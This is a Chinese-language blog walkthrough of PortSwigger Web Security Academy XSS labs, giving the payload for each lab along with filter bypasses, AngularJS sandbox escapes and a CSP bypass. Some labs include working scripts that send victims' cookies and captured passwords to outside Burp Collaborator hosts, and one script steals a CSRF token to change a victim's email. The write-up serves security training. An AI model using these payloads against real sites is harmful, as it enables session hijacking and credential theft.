【portswigger】第二专题-XSS(二)

portswigger 靶场(第二章节)XSS


视频同步更新至bilibili

复制代码
bibi地址
【【portswigger】第二专题-XSS(一·前置知识)】 https://www.bilibili.com/video/BV1mp4y157xA/?share_source=copy_web
【【portswigger】第二专题-XSS(二)】 https://www.bilibili.com/video/BV1t14y1z7pk/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
【【portswigger】第二专题-XSS(四)】 https://www.bilibili.com/video/BV1xj411d7V8/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
【【portswigger】第二专题-XSS(三)】 https://www.bilibili.com/video/BV1ck4y1377S/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff

欢迎关注微信公众号:微光安全团队

这是官方备忘录:

python 复制代码
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

总体目录

我这里简单总结一下每个实验室所对应的技术栈

可能有漏的,见谅

python 复制代码
3、涉及实验:

        实验1:将XSS反射到HTML上下文中,不进行任何编码

4、反射的XSS攻击的影响

        实验14:利用跨站点脚本窃取Cookie

        实验15:利用跨站点脚本来捕获密码

        实验16:利用XSS实现CSRF

三、不同上下文中的反射XSS

1、简述:

2、HTML标记之间的XSS

        实验2:将XSS存储到HTML上下文中,不进行任何编码

        实验17:将XSS反射到HTML上下文中,大多数标记和属性被阻止

        实验18:将XSS反射到HTML上下文中,除自定义标记外,所有标记都被阻止

        实验25:具有事件处理程序和 href 已阻止属性

        实验19:允许使用一些SVG标记的反射XSS

3、HTML标记属性中的XSS

        实验7:将XSS反射到带尖括号的HTML编码属性中

        实验8:将XSS存储到锚中 href 带双引号的属性HTML编码

        实验20:规范链接标记中反射的XSS

4、终止现有脚本

        实验21:将XSS反射到JavaScript字符串中,并使用单引号和反斜杠进行转义

        实验9:将XSS反射到带有尖括号的JavaScript字符串HTML编码

        实验22:将XSS反射到JavaScript字符串中,使用尖括号和双引号HTML编码并转义单引号

        实验26:JavaScript URL中反射的XSS,其中一些字符被阻止

        实验23:将XSS存储到onclick事件中,使用尖括号和双引号HTML编码,使用单引号和反斜杠转义

        实验24:将XSS反射到模板文本中,带有尖括号、单引号、双引号、反斜杠和反记号

四、客户端模板注入

1、简述:

 2、AngularJS沙盒

        实验27:反射的XSS,带AngularJS沙箱转义,不带字符串

 3、AngularJS CSP旁路

         实验28:反射XSS与AngularJS沙箱转义和CSP

lab1:

将以下内容复制并粘贴到搜索框中:

python 复制代码
 <script>alert(1)</script>

即可

lab2

同上
这次需要把xss内容放在评论,这样就可以造成一个存储型xss

python 复制代码
<script>alert(1)</script>

lab3

漏洞成因

query参数可控,闭合img标签

在输入1111后,我的输入值出现在了url中,我将尝试一个基础的xss payload


所以我打开了页面源码
发现我的payload被编码了

所以我这个时候应该想两个方式,如何绕过编码

我继续向下看,html中出现的函数引起了我的注意

他告诉我我输入的search内容被进入了一个变量叫做query,而后这个query进入了一个函数叫做tracksearch,这个函数的功能是通过document.write写入一个img标签

我接着使用f12查找了这个img src

所以这就是payload

python 复制代码
"><script>alert(1)</script>

解决

简单看一下怎么闭合的

python 复制代码
原本的
<img src="/resources/images/tracker.gif?searchTerms=11111" >
注入的内容
"><script>alert(1)</script>
结果
<img src="/resources/images/tracker.gif?searchTerms="><script>alert(1)</script>" >

这个就是原理,所以后面就不演示是怎么闭合的了

lab4

漏洞成因:searchMessage的直接传递

这个靶场使用一个 innerHTML赋值

按照官方的解释

这 innerHTML接收器不接受 script任何现代浏览器上的元素,也不会 svg onload事件火。

这意味着您将需要使用替代元素,例如 img或者 iframe。 事件处理程序,例如 onload和 onerror可以与这些元素结合使用。

翻译的什么乱七八糟的·····

简单来说就是用了innerHTML可以通过onload和 onerror来利用

而onerror很好用,只需要用一个不存在的标签包含,在进行的时候就可以释放出里面的onerror达到xss

payload

python 复制代码
<img src=1 onerror=alert(1)>

并且每当你刷新或者别人点进来,都会造成一次xss

lab5

漏洞成因: returnpath可控 导致herf标签被注入

这种漏洞在官方的解释如下

如果正在使用 jQuery 等 JavaScript 库,请留意可以更改页面上 DOM 元素的接收器。 例如,jQuery 的 attr()函数可以改变DOM元素的属性。 如果数据是从用户控制的源(例如 URL)读取的,然后传递给 attr()函数,那么就有可能操纵发送的值导致 XSS。 例如,这里有一些 JavaScript 可以更改锚元素的 href使用 URL 中的数据的属性:

他们问题出在了反馈界面

在我们提交了反馈之后

观察url

python 复制代码
https://0a2a000404ef1e26814253c300c40025.web-security-academy.net/feedback?returnPath=/post/comment/confirmation

我顺着这个参数找到了函数
内部还有一个类似于子函数的内容

backLink

顺着继续找

看来我的url可以控制着一部分

那我就改一下url

按照题目要求,使用

python 复制代码
javascript:alert(document.cookie)

而后点击后退按钮

lab6

漏洞原理: jquery选择器内可以插入标签

这个漏洞基于jQuery 中的 DOM XSS:hashchange 事件

var post=$()这行是用jquery选择对应的元素,可以定位到多个元素

所以下面一行post.get(0)是指符合条件的第一个元素

如果元素存在则执行post.get(0).scrollIntoView();

而scrollintoview

这个的功能就是跳到你的输入点

如下

我们手动将页面划到最下面

看到一个volunteering

而后我们在url的最后面输入/#Volunteering
就会发现页面自动滚动到了那么标签所在的位置

选择器经常与 location.hash或自动滚动到页面上特定元素的源。 这种行为通常是使用易受攻击的漏洞来实现的 hashchange事件处理程序,例如

python 复制代码
$(window).on('hashchange', function() {
	var element = $(location.hash);
	element[0].scrollIntoView();
});

最新版本的 jQuery 通过防止在输入以哈希字符开头时将 HTML 注入选择器来修补此特定漏洞( #).

要利用此漏洞,攻击者必须找到一种方法来触发 hashchange无需用户交互的事件,例如iframe.

根据题目的提示

我找到了相关的函数

python 复制代码
$(window).on('hashchange', function(){
	var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
	if (post) post.get(0).scrollIntoView();
});

这一段代码的含义是

此代码将事件侦听器附加到"window"对象上的"hashchange"事件,该事件侦听器在 URL 的哈希片段(URL中"#"符号之后的部分)更改时触发。当事件被触发时,代码创建一个变量"post",该变量选择"section"元素中的第一个标题(h2)元素,其类"blog-list"包含当前哈希片段的文本(使用"decodeURIComponent"函数解码)。如果"post"变量不为空,则代码使用"scrollIntoView"方法将选定的标题元素滚动到视图中。

为了利用该漏洞,让我们在#后放置一个 XSS 有效负载 <img src=x onerror=alert(1)>在 URL 中,

这应该会触发一个警报,因为 jquery 选择器 $()将首先尝试选择(查找)页面上的项目,当失败时(本例中该字符串不存在),它将添加该元素。

我们需要向管理员发送一个 URL 来触发 print()功能,但没有迹象表明管理员会单击我们提供的任何链接。 因此,我们可以使用 iFrame 自动呈现我们选择的 URL。

在下面的示例中, src属性指向具有空哈希值的易受攻击页面。 当 iframe加载后,XSS 向量会附加到哈希中,从而导致 hashchange触发事件

python 复制代码
<iframe src="https://xxxxxx/#" onload="this.src+='<img src=x οnerrοr=print()>'"></iframe>
python 复制代码
<iframe src="https://0a0e0001030a35cc834c2df0001500b6.web-security-academy.net/#" onload="this.src+='<img src=x οnerrοr=print()>'"></iframe>

lab7

首先我们尝试一个基础的xss

python 复制代码
"><script>alert(hahahaha)</script>

发现<>都被过滤了

于是我尝试了对他们进行url编码

但依旧无效

所以我选择利用事件触发,之前也有类似的例如onerror

类似的还有onclick等等

这里我们利用

python 复制代码
"οnmοuseοver="alert(1)

并且一个双引号闭合掉

于是只要我们吧鼠标移动到输入框,就可以触发xss

lab8

漏洞成因: herf标签被注入

我们进入实验室

进入评论区

先随便输入点什么

看看都会怎么运转

我发现有一个超链接

他的herf属性指向我输入的website,并且看起来没有什么过滤

那我尝试一下

python 复制代码
javascript:alert(1)

然后就成功了

lab9

我们同样输入一个特征字符串

然后跟踪他,看看他经历了什么

我输入了hahaha

并且在f12跟踪到了这个js函数部分
我们看到我们的输入在一个js脚本中

对于这种情况,我们可以采用闭合js标签来进行一个新的属性

例如:

python 复制代码
</script><img src=1 onerror=alert(1)>

但是在本题中

我们的输入被''包裹

而又因为 JavaScript 不允许变量中存在空格,因此整个字符串将被视为变量的一部分

所以我们采用如下的方法

python 复制代码
'-alert(document.domain)-'
';alert(document.domain)//

其中-或者;都表明 alert与它之前的字符串文字标记有关。 -可以做到这一点,任何其他运算符也可以,例如 +, %, 等等。 您还需要连接的末端 alert与恢复的字符串文字,因此最后需要另一个运算符

所以,当我们输入payload之后

python 复制代码
'-alert(1)-'

我们完成了挑战

lab10

这是之前完成的document.write接收器的domxss的进阶版

我们看到参数的传递,所以我们搜索这个参数

我找到了他,可我并没有在js代码中看到他

于是我仔细观察了js代码

并发现了有趣的东西

python 复制代码
    var stores = ["London","Paris","Milan"];
                                var store = (new URLSearchParams(window.location.search)).get('storeId');
                                document.write('<select name="storeId">');
                                if(store) {
                                    document.write('<option selected>'+store+'</option>');
                                }
                                for(var i=0;i<stores.length;i++) {
                                    if(stores[i] === store) {
                                        continue;
                                    }
                                    document.write('<option>'+stores[i]+'</option>');
                                }
                                document.write('</select>');
                            

根据这个js代码,我发现还存在一个storeid的参数

他可以被写入option标签

并且会赋予一个storesid

便于查询

所以我们只需要在url中添加这个参数,就可以拥有一个可控的js参数

python 复制代码
?productId=2&storeId=test

发生的事情都如我们预期

接下来我就要尝试闭合这个option标签,而后进行注入

python 复制代码
?productId=1&storeId=</option><script>alert('xss')</script>//

解决

并且观察源码

lab11

同样先输入一个随机字符

但是我们的输入并没有进入函数

可是我们也看见了ng-app

这代表着

当指令添加到 HTML 代码中时,您可以执行双花括号内的 JavaScript 表达式。 当对尖括号进行编码时,此技术非常有用。

那么我们进行利用

python 复制代码
{{alert('haha')}}

但是失败

所以使用如下payload

python 复制代码
{{$on.constructor('alert(1)')()}}

$on.constructor=constructor.constructor,基本上它的解释与函数相同,就好像我们声明了一个函数,然后在其中放置了将要执行的代码,因为这里是完全相同的,在括号内,我们放置了我们想要执行的内容

他的效果就是我先constructor了一个方法然后再去调用它,来绕过一些检测

lab12

漏洞成因:eval让alert执行

我们这里把它用bp来处理首先我们简单闭合一下
显示多出来了一个反斜杠

也就是转义符,我们只需要再加一个\就能抵消掉

所以最终的payload如下

python 复制代码
\"-alert(1)}//

lab13

我们先随便填一下评论

发现显示什么的都正常

所以我开始看js文件
发现存在一个replace函数

为了防止 XSS ,该网站使用了 JavaScript replace()对尖括号进行编码的函数。 但是,当第一个参数是字符串时,该函数仅替换第一次出现的位置。

所以我多增加一对尖括号

python 复制代码
<><img src=1 onerror=alert(1)>

即可

lab14

这一关我们需要使用到bp

以及备忘录

首先我们把传参的数据包发给intruder并在如图所示位置添加payload部分

而后来到备忘录

python 复制代码
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

我们来到备忘录以后

首先复制全部的标签,测试哪一个标签在waf之外

而后在bp intruder中的payload中粘贴

而后开始攻击
发现body是200,所以我们继续构造事件

python 复制代码
<body%20=1>

在空格前添加变量测试点

再把备忘录中的事件全部粘贴过来

发现了这么多的可利用事件

我们就按照onresize去利用

备忘录中有无需用户交互的payload

python 复制代码
<body onresize="print()">

那就利用这个

因为题目中说了本地无法完成

所以我们先去利用服务器

加入一个iframe标签

python 复制代码
<iframe src="https://0afb005304132185821c3d1c00320095.web-security-academy.net/?search=%3Cbody+onresize%3D%22print%28%29%22%3E"onload=this.style.width='100px'>

onload是用来调整窗口大小的
因为这个事件在调整窗口大小的时候触发

lab15----

这个lab阻止除自定义标签之外的所有 HTML 标签。

当然他没有阻止完

你可以尝试按照上一个靶场去利用

但是我们按照lab的技术栈继续完成

你只需要在漏洞利用服务器中body部分输入如下的payload即可

python 复制代码
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

我可以稍微解释一下

< 这部分 xss 代码创建一个名为"xss"的自定义标签。

id=x 自定义的 <xss>标记中。 通过将名为"x"的 id 属性添加到

onfocus=alert(document.cookie) 来指定的 HTML 元素。

使得在获得焦点时执行 JavaScript 代码的事件属性中。

网页会自动聚焦在url中有#选择元素里tabindex最小的一个元素

这次自定义的 xss 标签 被 id=x分配

当使用 Tab 键,ID 为 x 的 html 元素将获得焦点。 从而完成一次xss攻击

#x是为了 页面加载时自动触发有效负载

lab16

与之前一样,利用bp以及清单去找哪些没有被过滤

关于svg,可以参考这篇文章

python 复制代码
https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg

最终的payload如下

python 复制代码
%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

这里说一下为什么要用animateTransform标签

上面可以看到可以用的事件只有onbegin,而svg标签是没有这个事件的

animateTransform是有onbegin事件的

lab17

这个先跳过

我不用谷歌,好像测试不了

lab18

首先输入特征字符串
而后我在前端找到了他们

这说明我输入的字符被前段js脚本处理

所以我先尝试直接关掉js

python 复制代码
</script><script>alert(1)</script>

然后就ok了?

lab19

同样先输入一个特征字符串

那就说明我也在js中处理我输入的信息

那我的首选就是闭合掉js代码或者闭合引号

但是仔细一看,发现我在引号包裹了,那么就只能用之前的方法

先让引号闭合

然后直接alert就行

我现在在bp中进行观察
对引号进行了转义

最终的payload

python 复制代码
\'-alert(1)//

lab20

这是一个存储型

首先我们也是输入一些特征字符

并且题目中也有提示

尖括号和双引号的事件 HTML 编码且单引号和反斜杠转义

所以我们要考虑一些基础的绕过
首先我们发现它具有onclick的属性

那么我们的目标就是

把我们的url解放出来,成为一个单独的个体

我们需要闭合前后各一个单引号

直接输入失败了

尝试了urlencode

但是失败了

hex

也失败了

最后发现'也就是单引号的html表达式

可以正常运行

python 复制代码
http://&apos;-alert(1)-&apos;

所以这就是最终的payload

还有一些其他的html符号表达式子如下

python 复制代码
HTML的转义符
"     &quot;
'     &apos;
&    &amp;
<    &lt; 
>    &gt;
空格  &nbsp;
©    &copy;

lab21

同样先输入特征字符串

我接下来尝试一个多钟符号组成的字符串,看看他的转义

python 复制代码
<>'"\ 

看到了反引号,这是一个输出模版

所以我们,可以直接用

python 复制代码
${alert(1)}

来告诉他

这是一个脚本需要运行

就ok了

lab22

这算是一个比较常见的利用了

一般来说通过xss来获取到cookie,然后恶意服务端会有一些自动执行的脚本

来利用这个cookie去进行一些操作,例如尝试登陆等等

首先我输入

python 复制代码
<img src=0 onerror=print()> 

在评论区,他可以正常运行

那么我就开始构造我的窃取xss

python 复制代码
<script>
fetch('https://o1qceoykax1i47hwxxw3u2tuoluci26r.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

于是我们就拿到了cookie

lab23

也很贴近实战

道理都一样

python 复制代码
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://jk73al66zbtlj5x87xdhlovssjyam6av.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

lab24

我们进去之后先登录一下
可以看到更新邮件地址需要像这个url发送一点东西

并且还需要一个csrf的token
那我们的目的就明确了

窃取token并且发送给这个url

跟刚才的窃取一样

只不过多了个发送的过程

当然了,对于csrf的窃取也不只有这一种方法

大概有两种方法

1.利用js代码,获取受害者主机上面的token(在受害者主机发起请求)

2.在自己电脑上替换cookie,提取自己主机上面的token(在自己主机发起请求)

python 复制代码
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

也是在评论区

lab25

这是个angular的沙箱逃逸

直接fuzzpayload

原理太复杂

python 复制代码
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected

payload

python 复制代码
1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

lab26

简单理解就是CSP只会加载自己信任的资源,不信任的统统拦截

该漏洞利用了 ng-focusAngularJS 中的事件来创建绕过 CSP 的焦点事件。 它还使用 event,这是一个引用事件对象的AngularJS 变量。 这 path属性特定于Chrome,包含触发事件的元素数组。 数组中的最后一个元素包含 window目的。通常情况下, \|在 JavaScript 中是按位或运算,但在 AngularJS 中它表示过滤操作,在本例中是orderBy筛选。冒号表示正在发送到过滤器的参数。 在论证中,而不是调用 alert直接函数,我们将其分配给变量 z。 该函数仅在以下情况下才会被调用orderBy操作达到 window对象在 event.path大批。 这意味着它可以在窗口范围内调用,而无需显式引用window对象,有效绕过 AngularJS window查看。

也可以直接找

python 复制代码
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected

lab27

禁用了所有事件以及href

那就想个办法代替href

也是这个靶场的知识点

attributename可以把href="xxx"分解成attributename=href values=xxx

我们搜索一下这个属性

python 复制代码
<svg><a><animate attributeName="href" values="javascript:alert(1)"></animate><text x="20" y="20">Click me</text></a></svg>

lab28

漏洞成因

首先随便输入,然后顺着传递的参数跟到了这一块的实现代码

python 复制代码
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3'}).finally(_ => window.location = '/')">Back to Blog</a>

先试试单引号能不能闭合
而后拿着一堆符号fuzz一下

fuzz的结果就是只要是&开头就合法,而后尝试&'能不能闭合单引号

发现可以

那就看一下能不能闭合{

发现也可以

那屁股后面的花括号也可以闭合了

那就接着测试加入一个alert(1)

python 复制代码
&'},alert(1),{x:'

结果发现空格被过滤

我原本的预期是下面这样的

python 复制代码
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3&'},alert(1),{x:''}).finally(_ => window.location = '/')">Back to Blog</a>

这个时候看一下答案的payload

python 复制代码
&'},x=x=>{throw/**/οnerrοr=alert,1337}, toString=x,window+'',{x:'

分析一下

&'},闭合前面的{

x=x=>{throw/**/onerror=alert,1337}, 定义一个箭头函数,/**/是注释,绕过空格过滤,throw是抛出异常,alert函数重载onerror函数,抛出异常的时候会自动调用onerror函数,其实是调用的alert,所以后续的逻辑就是造成错误,这一步最关键的点是

由于没有变量声明, x将是一个隐含的全局变量

toString=x,用箭头函数重载toString函数,这也修改了,正因为x是一个全局变量,所以tostring是一个全局方法,所以这一步他会改变window的方法,从而导致window向字符串转化的时候就会调用x,也就是抛出异常的onerroe也就是alert

window+'',用window+字符串,而js认为字符串才能加字符串,所以window被强制转换成字符串,自动会调用window的toString函数

{x:'闭合后面的'},

这整个payload核心我认为是window+

能理解就理解吧,理解不了知道有这么一种方法就行

lab29

lab30

相关推荐
ssshooter28 分钟前
VSCode 自带的 TS 版本可能跟项目TS 版本不一样
前端·面试·typescript
黑客影儿1 小时前
Kali Linux 环境中的系统配置文件与用户配置文件大全
linux·运维·程序人生·安全·网络安全·系统安全·学习方法
Jerry1 小时前
Jetpack Compose 中的状态
前端
dae bal2 小时前
关于RSA和AES加密
前端·vue.js
柳杉2 小时前
使用three.js搭建3d隧道监测-2
前端·javascript·数据可视化
lynn8570_blog2 小时前
低端设备加载webp ANR
前端·算法
LKAI.3 小时前
传统方式部署(RuoYi-Cloud)微服务
java·linux·前端·后端·微服务·node.js·ruoyi
刺客-Andy3 小时前
React 第七十节 Router中matchRoutes的使用详解及注意事项
前端·javascript·react.js
前端工作日常3 小时前
我对eslint的进一步学习
前端·eslint
禁止摆烂_才浅4 小时前
VsCode 概览尺、装订线、代码块高亮设置
前端·visual studio code